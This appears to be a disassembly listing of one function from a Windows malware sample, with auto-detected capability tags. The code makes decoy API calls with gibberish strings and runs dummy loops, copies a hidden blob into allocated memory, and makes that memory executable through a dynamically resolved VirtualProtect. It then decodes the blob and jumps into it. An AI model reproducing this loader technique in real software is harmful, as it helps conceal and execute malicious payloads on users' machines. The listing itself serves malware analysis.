Function at 0x401030
Capabilities:
Access the windows event log
Create mailslot

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edi, edi
cmp eax, 0x627af
jne 0x401095
push edi
push edi
push edi
push str.Dikicisupizi_pikarebe_givinenasabu
call dword [sym.imp.KERNEL32.dll_CreateMailslotA]
push edi
push str.Yiletozo_yihebezobuwuci_wudo_cadufero
push edi
call dword [sym.imp.USER32.dll_SetPropA]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call fcn.00402370
pop ecx
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
call dword [sym.imp.ole32.dll_CoGetCurrentProcess]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
mov esi, edi
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.USER32.dll_GetMenuInfo]
cmp esi, 0x4ad
jle 0x4010b3
cmp dword [ebp - 0x1c], 0x521f812a
jne 0x4010bc
inc esi
cmp esi, 0xfdc3
jl 0x401097
mov eax, dword [0x415410]
mov ecx, edi
mov dword [0x42f0ec], eax
cmp ecx, 0x209
jne 0x4010d5
add eax, 0xf5a3
inc ecx
cmp ecx, 0xc3e
jl 0x4010c8
mov dword [0x42f0ec], eax
mov esi, edi
cmp esi, 0x3cbe21
jne 0x4010ff
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x445b4c], eax
mov eax, dword [0x42f0ec]
inc esi
cmp esi, 0x590053
jl 0x4010e5
mov esi, edi
mov eax, dword [0xb1f7cc]
cmp esi, 0x7c16df
cmove eax, dword [0x415404]
mov dword [0xb1f7cc], eax
cmp esi, 0x865
jge 0x401143
push edi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
inc esi
cmp esi, 0x8d70ff
jl 0x40110a
mov esi, edi
cmp dword [0x42f0ec], esi
jbe 0x40118a
cmp esi, 0x18bd
jge 0x40116d
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [0xb1f7cc]
mov cl, byte [eax + esi + 0xf5a3]
mov eax, dword [0x445b4c]
mov byte [eax + esi], cl
inc esi
cmp esi, dword [0x42f0ec]
jb 0x401156
mov dword [ebp - 4], 0xbb
sub dword [ebp - 4], 0x7b
mov esi, edi
cmp esi, 0x500233
jne 0x4011d0
push 0x40e234
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.VirtualProtect
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 8]
mov dword [0xb1f8d8], eax
push ecx
push dword [ebp - 4]
push dword [0x42f0ec]
push dword [0x445b4c]
call eax
inc esi
cmp esi, 0x88d29b
jl 0x401197
mov edx, dword [0x42f0ec]
mov ecx, dword [0x445b4c]
push section..data
call fcn.004013f2
mov esi, edi
cmp esi, 0x3f03c2
jne 0x40120a
nop
add dword [0x42f0ec], 0x35c667fc
call dword [0x445b4c]
inc esi
cmp esi, 0x5a545b
jl 0x4011f1
push edi
lea eax, [ebp - 0x424]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [0xb1f8fc]
mov eax, dword fs:[0x2c]
push edi
mov eax, dword [eax + ecx*4]
mov dword [eax + 4], 1
call fcn.0040249a
pop ecx
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.MSIMG32.dll_TransparentBlt]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10